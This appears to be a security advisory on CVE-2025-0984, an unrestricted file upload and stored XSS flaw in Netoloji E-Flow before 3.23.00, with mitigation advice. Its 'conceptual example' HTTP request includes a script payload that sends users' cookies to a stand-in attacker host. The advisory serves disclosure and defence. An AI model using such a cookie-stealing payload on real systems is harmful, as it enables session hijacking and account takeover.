Overview
The CVE-2025-0984 vulnerability is a critical security flaw found in the Netoloji Software E-Flow versions before 3.23.00. This vulnerability allows for unrestricted file uploads of dangerous types and improper neutralization of input during web page generation, commonly known as Cross-Site Scripting (XSS). Such vulnerabilities are particularly concerning due to the potential for system compromise and data leakage. This issue brings to light the importance of proper access control lists (ACLs) and the dangers of stored XSS and file content injection.
Vulnerability Summary
CVE ID: CVE-2025-0984
Severity: High, 8.2 CVSS Score
Attack Vector: Web-based
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage
Affected Products
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Product | Affected Versions
Netoloji Software E-Flow | Before 3.23.00
How the Exploit Works
The exploit works by leveraging the unrestricted file upload feature in the vulnerable software. An attacker could upload a malicious script disguised as a benign file. Once uploaded, this script could execute in the context of the web application. This could then lead to stored XSS attacks where the attacker’s script gets stored on the server and served to users. This exploit also allows for file content injection, modifying the contents of the existing files on the server.
Conceptual Example Code
Below is a conceptual example illustrating the HTTP request an attacker might use to exploit this vulnerability:
POST /upload_file HTTP/1.1
Host: target.example.com
Content-Type: application/javascript
{ "filename": "malicious.js",
"content": "<script>new Image().src='http://attacker.com/steal.php?cookie='+document.cookie;</script>" }In this example, the attacker sends a POST request to the ‘/upload_file’ endpoint of the target server. The request includes a malicious JavaScript file which, when executed, sends the cookies of the current user to the attacker’s server. This could be used to steal session cookies and impersonate users, potentially leading to unauthorized access and data leakage.
Mitigation Guidance
Users of Netoloji Software E-Flow are strongly advised to update to the latest version of the software. If this is not immediately possible, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These measures can prevent the execution of unauthorized scripts and flag suspicious file upload attempts. However, these are temporary measures and updating the software to a version where the vulnerability has been fixed is crucial for maintaining a secure environment.